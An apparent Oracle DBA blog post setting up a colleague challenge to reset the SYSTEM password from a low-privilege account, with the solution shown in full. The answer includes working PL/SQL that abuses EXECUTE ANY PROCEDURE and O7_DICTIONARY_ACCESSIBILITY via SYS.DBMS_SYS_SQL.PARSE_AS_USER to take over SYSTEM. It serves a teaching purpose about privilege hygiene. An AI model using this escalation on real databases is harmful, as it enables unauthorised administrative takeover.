Challenge Your Colleagues (No 1)

To set up this challenge, you need an Oracle test database. I used one running on Oracle 11.2.0.2.7 but this works on other versions too. First you need to create a user as follows:

 

SQL> create user scott identified by tiger

  2  /

 

User created.

 

SQL> grant create session,

  2  select any table,

  3  execute any procedure to scott

  4  /

 

Grant succeeded.

 

SQL>

 

Then you need to ensure that the database has the following initialization parameter set to TRUE:

 

SQL> l

  1  select value from v$parameter

  2* where name = 'O7_DICTIONARY_ACCESSIBILITY'

SQL> /

 

VALUE

------------------------------

TRUE

 

SQL>

 

Check that your colleagues will be able to connect to the database remotely using SQL*Plus:

 

SQL> conn scott/tiger@orcl

Connected.

SQL>

 

Then E-mail the challenge to them using the following text appropriately modified:

 

Dear Colleagues,

 

I would like to challenge you to reset the SYSTEM password in my test database, explain how you did it and tell me the new password. To solve this challenge, you must connect to the database from SQL*Plus as follows conn scott/tiger@orcl. Answers which involve connecting as any other user will not be allowed.

 

You have until 28^th February (or some other date) to do this. All entries must be submitted by E-mail. A prize of a bar of chocolate / bottle of champagne (according to your budget) will be awarded to the first correct answer drawn at random.

 

Good luck

 

Andrew

 

Once the deadline has passed, send out the answer below, inserting the name of the actual winner at the end and award the prize:

 

Dear Colleagues,

 

User Scott had the SELECT ANY TABLE and EXECUTE ANY PROCEDURE system privileges:

 

SQL> conn scott/tiger@orcl

Connected.

SQL> select privilege from user_sys_privs

  2  /

 

PRIVILEGE

----------------------------------------

CREATE SESSION

SELECT ANY TABLE

EXECUTE ANY PROCEDURE

 

SQL>

 

The database had O7_DICTIONARY_ACCESSIBILITY set to TRUE:

 

SQL> conn scott/tiger@orcl

Connected.

SQL> l

  1  select value from v$parameter

  2* where name = 'O7_DICTIONARY_ACCESSIBILITY'

SQL> /

 

VALUE

------------------------------

TRUE

 

SQL>

 

This allowed him to reset the SYSTEM password as follows, which explains why we do not allow you to have the EXECUTE ANY PROCEDURE privilege:

 

SQL> CONN SCOTT/tiger@ORCL

Connected.

SQL> DECLARE

  2  USER_NO NUMBER;

  3  CHANGE_PASSWORD VARCHAR2(50) :=

  4  'ALTER USER SYSTEM IDENTIFIED BY NEW_PASSWORD';

  5  CURSOR_NO INTEGER;

  6  BEGIN

  7  SELECT USER_ID INTO USER_NO FROM ALL_USERS

  8  WHERE USERNAME = 'SYSTEM';

  9  CURSOR_NO:=SYS.DBMS_SYS_SQL.OPEN_CURSOR();

10  SYS.DBMS_SYS_SQL.PARSE_AS_USER

11  (CURSOR_NO,CHANGE_PASSWORD,DBMS_SQL.NATIVE,USER_NO);

12  SYS.DBMS_SYS_SQL.CLOSE_CURSOR(CURSOR_NO);

13  END;

14  /

 

PL/SQL procedure successfully completed.

 

SQL> CONN SYSTEM/NEW_PASSWORD@ORCL

Connected.

SQL> SHOW USER

USER is "SYSTEM"

SQL>

 

The winner of the challenge was John Smith.

 

Kind regards,

 

Andrew